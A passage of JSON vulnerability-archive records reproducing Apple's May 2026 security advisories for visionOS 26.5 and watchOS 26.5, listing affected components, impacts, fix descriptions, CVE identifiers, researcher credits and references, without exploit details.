corrupt process memory\nDescription: A memory corruption issue was addressed with improved input\nvalidation.\nCVE-2026-28956: impost0r (ret2plt)\n\nAudio\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing an audio stream in a maliciously crafted media file\nmay terminate the process\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-39869: David Ige of Beryllium Security\n\nCoreAnimation\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to access sensitive user data\nDescription: An inconsistent user interface issue was addressed with\nimproved state management.\nCVE-2026-28964: Alan Wang, Christopher W. Fletcher, Hovav Shacham, David\nKohlbrenner, Riccardo Paccagnella\n\nCoreServices\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing a maliciously crafted file may lead to unexpected app\ntermination\nDescription: The issue was addressed with improved checks.\nCVE-2026-28936: Andreas Jaegersberger \u0026 Ro Achterberg of Nosebeard Labs\n\nCoreSymbolication\nAvailable for: Apple Vision Pro (all models)\nImpact: Parsing a maliciously crafted file may lead to an unexpected app\ntermination\nDescription: An out-of-bounds access issue was addressed with improved\nbounds checking.\nCVE-2026-28918: Niels Hofmans, Anonymous working with TrendAI Zero Day\nInitiative\n\nFileProvider\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to access sensitive user data\nDescription: A race condition was addressed with additional validation.\nCVE-2026-43659: Alex Radocea\n\nImageIO\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing a maliciously crafted file may lead to unexpected app\ntermination\nDescription: The issue was addressed with improved bounds checks.\nCVE-2026-28977: Suresh Sundaram\n\nImageIO\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing a maliciously crafted image may corrupt process\nmemory\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-28990: Jiri Ha, Arni Hardarson\n\nIOHIDFamily\nAvailable for: Apple Vision Pro (all models)\nImpact: An attacker may be able to cause unexpected app termination\nDescription: A memory corruption vulnerability was addressed with\nimproved locking.\nCVE-2026-28992: Johnny Franks (@zeroxjf)\n\nIOKit\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to cause unexpected system termination\nDescription: A use after free issue was addressed with improved memory\nmanagement.\nCVE-2026-28969: Mihalis Haatainen, Ari Hawking, Ashish Kunwar\n\nKernel\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to disclose kernel memory\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-43654: Vaagn Vardanian, Nathaniel Oh (@calysteon)\n\nKernel\nAvailable for: Apple Vision Pro (all models)\nImpact: A local user may be able to cause unexpected system termination\nor read kernel memory\nDescription: A buffer overflow was addressed with improved input\nvalidation.\nCVE-2026-28897: popku1337, Billy Jheng Bing Jhong and Pan Zhenpeng\n(@Peterpan0927) of STAR Labs SG Pte. Ltd., Robert Tran, Aswin kumar\nGokulakannan\n\nKernel\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to cause unexpected system termination or\nwrite kernel memory\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nCVE-2026-28972: Billy Jheng Bing Jhong and Pan Zhenpeng (@Peterpan0927)\nof STAR Labs SG Pte. Ltd., Ryan Hileman via Xint Code (xint.io)\n\nLaunchServices\nAvailable for: Apple Vision Pro (all models)\nImpact: A remote attacker may be able to cause a denial of service\nDescription: A type confusion issue was addressed with improved checks.\nCVE-2026-28983: Ruslan Dautov\n\nmDNSResponder\nAvailable for: Apple Vision Pro (all models)\nImpact: A remote attacker may be able to cause unexpected system\ntermination or corrupt kernel memory\nDescription: A use after free issue was addressed with improved memory\nmanagement.\nCVE-2026-43668: Anton Pakhunov, Ricardo Prado\n\nmDNSResponder\nAvailable for: Apple Vision Pro (all models)\nImpact: An attacker on the local network may be able to cause a\ndenial-of-service\nDescription: An out-of-bounds write issue was addressed with improved\nbounds checking.\nCVE-2026-43666: Ian van der Wurff (ian.nl)\n\nModel I/O\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing a maliciously crafted image may corrupt process\nmemory\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-28940: Michael DePlante (@izobashi) of TrendAI Zero Day\nInitiative\n\nNetworking\nAvailable for: Apple Vision Pro (all models)\nImpact: An attacker may be able to track users through their IP address\nDescription: This issue was addressed through improved state management.\nCVE-2026-28906: Ilya Sc. Jowell A.\n\nSceneKit\nAvailable for: Apple Vision Pro (all models)\nImpact: A remote attacker may be able to cause unexpected app\ntermination\nDescription: A buffer overflow was addressed with improved bounds\nchecking.\nCVE-2026-28846: Peter Malone\n\nShortcuts\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to access user-sensitive data\nDescription: This issue was addressed by adding an additional prompt for\nuser consent.\nCVE-2026-28993: Doron Assness\n\nSpotlight\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to cause a denial-of-service\nDescription: This issue was addressed with improved checks to prevent\nunauthorized actions.\nCVE-2026-28974: Andy Koo (@andykoo) of Hexens\n\nStatus Bar\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to capture a user\u0027s screen\nDescription: An issue with app access to camera metadata was addressed\nwith improved logic.\nCVE-2026-28957: Adriatik Raci\n\nStorage\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to access sensitive user data\nDescription: A race condition was addressed with additional validation.\nCVE-2026-28996: Alex Radocea\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: A validation issue was addressed with improved logic.\nWebKit Bugzilla: 308906\nCVE-2026-43660: Cantina\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 308675\nCVE-2026-28907: Cantina\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: This issue was addressed with improved access restrictions.\nWebKit Bugzilla: 309698\nCVE-2026-28962: Luke Francis, Vaagn Vardanian, kwak kiyong / kakaogames,\nVitaly Simonovich, Adel Bouachraoui, greenbynox\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 307669\nCVE-2026-43658: Do Young Park\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308545\nCVE-2026-28905: Yuhao Hu, Yuanming Lai, Chenggang Wu, and Zhe Wang\nWebKit Bugzilla: 308707\nCVE-2026-28847: DARKNAVY (@DarkNavyOrg), Anonymous working with TrendAI\nZero Day Initiative, Daniel Rhea\nWebKit Bugzilla: 309601\nCVE-2026-28904: Luka Ra\u010dki\nWebKit Bugzilla: 310880\nCVE-2026-28955: wac and Kookhwan Lee working with TrendAI Zero Day\nInitiative\nWebKit Bugzilla: 310303\nCVE-2026-28903: Mateusz Krzywicki (iVerify.io)\nWebKit Bugzilla: 309628\nCVE-2026-28953: Maher Azzouzi\nWebKit Bugzilla: 309861\nCVE-2026-28902: Tristan Madani (@TristanInSec) from Talence Security,\nNathaniel Oh (@calysteon)\nWebKit Bugzilla: 310207\nCVE-2026-28901: Aisle offensive security research team (Joshua Rogers,\nLuigino Camastra, Igor Morgenstern, and Guido Vranken), Maher Azzouzi,\nNgan Nguyen of Calif.io\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313939\nCVE-2026-28883: kwak kiyong / kakaogames\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: An app may be able to access sensitive user data\nDescription: This issue was addressed with improved data protection.\nWebKit Bugzilla: 311228\nCVE-2026-28958: Cantina\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: A malicious iframe may use another website\u2019s download settings\nDescription: The issue was addressed with improved UI handling.\nWebKit Bugzilla: 311288\nCVE-2026-28971: Khiem Tran\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 312180\nCVE-2026-28942: Milad Nasr and Nicholas Carlini with Claude, Anthropic\nWebKit Bugzilla: 310234\nCVE-2026-28947: dr3dd\n\nWebKit\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 310527\nCVE-2026-28917: Vitaly Simonovich\n\nWebRTC\nAvailable for: Apple Vision Pro (all models)\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 311131\nCVE-2026-28944: Kenneth Hsu of Palo Alto Networks, J\u00e9r\u00f4me DJOUDER, dr3dd\n\nzlib\nAvailable for: Apple Vision Pro (all models)\nImpact: Visiting a maliciously crafted website may leak sensitive data\nDescription: An information leakage was addressed with additional\nvalidation.\nCVE-2026-28920: Brendon Tiszka of Google Project Zero\n\nAdditional recognition\n\nApp Intents\nWe would like to acknowledge Mi"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:28:31Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/15"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/15"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/en-us/127120"
        },
        {
          "url": "https://support.apple.com/kb/HT214009"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/15"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-05-11-2026-11 visionOS 26.5",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-1837",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28846",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28847",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28883",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28897",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28901",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28902",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28903",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28904",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28905",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28906",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28907",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28917",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28918",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28920",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28936",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28940",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28942",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28944",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28947",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28953",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28955",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28956",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28957",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28958",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28959",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28962",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28964",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28969",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28971",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28972",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28974",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28977",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28983",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28988",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28990",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28991",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28992",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28993",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28995",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28996",
              "type": "related"
            },
            {
              "destId": "CVE-2026-39869",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43654",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43658",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43659",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43660",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43666",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43668",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0338",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/15",
            "automated": true,
            "contentSha256": "d41d3eeafa51fab79df0402daf905e08347a3f2461a9cade5a868886101bbfb8",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/15",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-05-11T22:35:21Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0338"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-11T07:55:56Z",
    "dateUpdated": "2026-09-11T11:28:31Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0338"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Watchos",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-05-11-2026-10 watchOS 26.5\n\nwatchOS 26.5 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127119.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAccelerate\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to cause a denial-of-service\nDescription: An out-of-bounds read was addressed with improved bounds\nchecking.\nCVE-2026-28991: Seiji Sakurai (@HeapSmasher)\n\nAccounts\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to bypass certain Privacy preferences\nDescription: A permissions issue was addressed with additional\nrestrictions.\nCVE-2026-28988: Asaf Cohen\n\nAPFS\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to cause unexpected system termination\nDescription: A buffer overflow was addressed with improved bounds\nchecking.\nCVE-2026-28959: Dave G.\n\nApp Intents\nAvailable for: Apple Watch Series 6 and later\nImpact: A malicious app may be able to break out of its sandbox\nDescription: A logic issue was addressed with improved restrictions.\nCVE-2026-28995: Vamshi Paili, Tony Gorez (@tonygo_) for Reverse Society\n\nAppleJPEG\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing a maliciously crafted image may lead to a\ndenial-of-service\nDescription: This is a vulnerability in open source code and Apple\nSoftware is among the affected projects. The CVE-ID was assigned by a\nthird party. Learn more about the issue and CVE-ID at cve.org.\nCVE-2026-1837\n\nAppleJPEG\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing a maliciously crafted media file may lead to\nunexpected app termination or corrupt process memory\nDescription: A memory corruption issue was addressed with improved input\nvalidation.\nCVE-2026-28956: impost0r (ret2plt)\n\nAudio\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing an audio stream in a maliciously crafted media file\nmay terminate the process\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-39869: David Ige of Beryllium Security\n\nCoreSymbolication\nAvailable for: Apple Watch Series 6 and later\nImpact: Parsing a maliciously crafted file may lead to an unexpected app\ntermination\nDescription: An out-of-bounds access issue was addressed with improved\nbounds checking.\nCVE-2026-28918: Niels Hofmans, Anonymous working with TrendAI Zero Day\nInitiative\n\nImageIO\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing a maliciously crafted image may corrupt process\nmemory\nDescription: A buffer overflow issue was addressed with improved memory\nhandling.\nCVE-2026-43661: an anonymous researcher\n\nImageIO\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing a maliciously crafted file may lead to unexpected app\ntermination\nDescription: The issue was addressed with improved bounds checks.\nCVE-2026-28977: Suresh Sundaram\n\nImageIO\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing a maliciously crafted image may corrupt process\nmemory\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-28990: Jiri Ha, Arni Hardarson\n\nIOHIDFamily\nAvailable for: Apple Watch Series 6 and later\nImpact: An attacker may be able to cause unexpected app termination\nDescription: A memory corruption vulnerability was addressed with\nimproved locking.\nCVE-2026-28992: Johnny Franks (@zeroxjf)\n\nIOHIDFamily\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to determine kernel memory layout\nDescription: A logging issue was addressed with improved data redaction.\nCVE-2026-28943: Google Threat Analysis Group\n\nIOKit\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to cause unexpected system termination\nDescription: A use after free issue was addressed with improved memory\nmanagement.\nCVE-2026-28969: Mihalis Haatainen, Ari Hawking, Ashish Kunwar\n\nIOSurfaceAccelerator\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to cause unexpected system termination or\nread kernel memory\nDescription: An out-of-bounds read was addressed with improved bounds\nchecking.\nCVE-2026-43655: Somair Ansar and an anonymous researcher\n\nKernel\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to disclose kernel memory\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-43654: Vaagn Vardanian, Nathaniel Oh (@calysteon)\n\nKernel\nAvailable for: Apple Watch Series 6 and later\nImpact: A local user may be able to cause unexpected system termination\nor read kernel memory\nDescription: A buffer overflow was addressed with improved input\nvalidation.\nCVE-2026-28897: popku1337, Billy Jheng Bing Jhong and Pan Zhenpeng\n(@Peterpan0927) of STAR Labs SG Pte. Ltd., Robert Tran, Aswin kumar\nGokulakannan\n\nKernel\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to cause unexpected system termination or\nwrite kernel memory\nDescription: An out-of-bounds write issue was addressed with improved\ninput validation.\nCVE-2026-28972: Billy Jheng Bing Jhong and Pan Zhenpeng (@Peterpan0927)\nof STAR Labs SG Pte. Ltd., Ryan Hileman via Xint Code (xint.io)\n\nKernel\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to cause unexpected system termination\nDescription: A race condition was addressed with additional validation.\nCVE-2026-28986: Chris Betz, Tristan Madani (@TristanInSec) from Talence\nSecurity, Ryan Hileman via Xint Code (xint.io)\n\nKernel\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to leak sensitive kernel state\nDescription: A logging issue was addressed with improved data redaction.\nCVE-2026-28987: Dhiyanesh Selvaraj (@redroot97)\n\nLaunchServices\nAvailable for: Apple Watch Series 6 and later\nImpact: A remote attacker may be able to cause a denial of service\nDescription: A type confusion issue was addressed with improved checks.\nCVE-2026-28983: Ruslan Dautov\n\nmDNSResponder\nAvailable for: Apple Watch Series 6 and later\nImpact: A remote attacker may be able to cause unexpected system\ntermination or corrupt kernel memory\nDescription: A use after free issue was addressed with improved memory\nmanagement.\nCVE-2026-43668: Anton Pakhunov, Ricardo Prado\n\nmDNSResponder\nAvailable for: Apple Watch Series 6 and later\nImpact: An attacker on the local network may be able to cause a\ndenial-of-service\nDescription: An out-of-bounds write issue was addressed with improved\nbounds checking.\nCVE-2026-43666: Ian van der Wurff (ian.nl)\n\nSceneKit\nAvailable for: Apple Watch Series 6 and later\nImpact: A remote attacker may be able to cause unexpected app\ntermination\nDescription: A buffer overflow was addressed with improved bounds\nchecking.\nCVE-2026-28846: Peter Malone\n\nSpotlight\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to cause a denial-of-service\nDescription: This issue was addressed with improved checks to prevent\nunauthorized actions.\nCVE-2026-28974: Andy Koo (@andykoo) of Hexens\n\nStorage\nAvailable for: Apple Watch Series 6 and later\nImpact: An app may be able to access sensitive user data\nDescription: A race condition was addressed with additional validation.\nCVE-2026-28996: Alex Radocea\n\nWebKit\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: A validation issue was addressed with improved logic.\nWebKit Bugzilla: 308906\nCVE-2026-43660: Cantina\n\nWebKit\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing maliciously crafted web content may prevent Content\nSecurity Policy from being enforced\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 308675\nCVE-2026-28907: Cantina\n\nWebKit\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 307669\nCVE-2026-43658: Do Young Park\n\nWebKit\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313939\nCVE-2026-28883: kwak kiyong / kakaogames\n\nWebKit\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308707\nCVE-2026-28847: DARKNAVY (@DarkNavyOrg), Anonymous working with TrendAI\nZero Day Initiative, Daniel Rhea\nWebKit Bugzilla: 309601\nCVE-2026-28904: Luka Ra\u010dki\nWebKit Bugzilla: 310880\nCVE-2026-28955: wac and Kookhwan Lee working with TrendAI Zero Day\nInitiative\nWebKit Bugzilla: 310303\nCVE-2026-28903: Mateusz Krzywicki (iVerify.io)\nWebKit Bugzilla: 309628\nCVE-2026-28953: Maher Azzouzi\nWebKit Bugzilla: 309861\nCVE-2026-28902: Tristan Madani (@TristanInSec) from Talence Security,\nNathaniel Oh (@calysteon)\nWebKit Bugzilla: 310207\nCVE-2026-28901: Aisle offensive security research team (Joshua Rogers,\nLuigino Camastra, Igor Morgenstern, and Guido Vranken), Maher Azzouzi,\nNgan Nguyen of Calif.io\nWebKit Bugzilla: 311631\nCVE-2026-28913: an anonymous researcher\n\nWebKit\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 310527\nCVE-2026-28917: Vitaly Simonovich\n\nWebKit\nAvailable for: Apple Watch Series 6 and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 310234\nCVE-2026-28947: dr3dd\nWebKit Bugzilla: 312180\nCVE-2026-28942: Milad Nasr and Nicholas Carlini with Claude, Anthropic\n\nWi-Fi\nAvailable for: Apple Watch Series 6 and later\nImpact: An attacker in a privileged network position may be able to\nperform denial-of-service attack using crafted Wi-Fi packets\nDescription: A use after free issue was addressed with improved memory\nmanagement.\nCVE-2026-28994: Alex Radocea\n\nzlib\nAvailable for: Apple Watch Series 6 and later\nImpact: Visiting a maliciously crafted website may leak sensitive data\nDescription: An information leakage was addressed with additional\nvalidation.\nCVE-2026-28920: Brendon Tiszka of Google Project Zero\n\nAdditional recognition\n\nApp Intents\nWe would like to acknowledge Mikael Kinnman for their assistance.\n\nApple Account\nWe would like to acknowledge Iv\u00e1n Savransky, YingQi Shi (@Mas0nShi) of\nDBAppSecurity\u0027s WeBin lab for their assistance.\n\nAuthKit\nWe would like to acknowledge Gongyu Ma (@Mezone0) for their assistance.\n\nCoreUI\nWe would like to acknowledge Mustafa Calap \u200b for their assistance.\n\nICU\nWe would like to acknowledge an anonymous researcher for their\nassistance.\n\nKernel\nWe would like to acknowledge Ryan Hileman via Xint Code (xint.io),\nSuresh Sundaram, an anonymous researcher for their assistance.\n\nLibnotify\nWe would like to acknowledge Ilias Morad (@A2nkF_) for their assistance.\n\nmDNSResponder\nWe would like to acknowledge Jason Grove for their assistance.\n\nMessages\nWe would like to acknowledge Jeffery Kimbrow for their assistance.\n\nSiri\nWe would like to acknowledge Yoav Magid for their assistance.\n\nWebKit\nWe would like to acknowledge Vitaly Simonovich for their assistance.\n\nInstructions on how to update your Apple Watch software are available at\nhttps://support.apple.com/kb/HT204641\n\nTo check the version on your Apple Watch, open the Apple Watch app on\nyour iPhone and select \"My Watch \u003e General \u003e About\".\n\nAlternatively, on your watch, select \"My Watch \u003e General \u003e About\".\n\nAll information is also posted on the Apple Security Releases\nweb site:"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-11T11:28:30Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/14"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/14"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/en-us/127119"
        },
        {
          "url": "https://support.apple.com/kb/HT204641"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/14"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-05-11-2026-10 watchOS 26.5",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-1837",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28846",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28847",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28883",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28897",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28901",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28902",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28903",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28904",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28907",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28913",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28917",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28918",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28920",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28942",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28943",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28947",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28953",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28955",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28956",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28959",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28969",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28972",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28974",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28977",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28983",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28986",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28987",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28988",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28990",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28991",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28992",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28994",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28995",
              "type": "related"
            },
            {
              "destId": "CVE-2026-28996",
              "type": "related"
            },
            {
              "destId": "CVE-2026-39869",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43654",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43655",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43658",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43660",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43661",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43666",
              "type": "related"
            },
            {
              "destId": "CVE-2026-43668",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0337",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/14",
            "automated": true,
            "contentSha256": "3baf5add0c01cc8ee054262d9daab2f941583d12a67f5a92738590246114b1c1",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/14",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
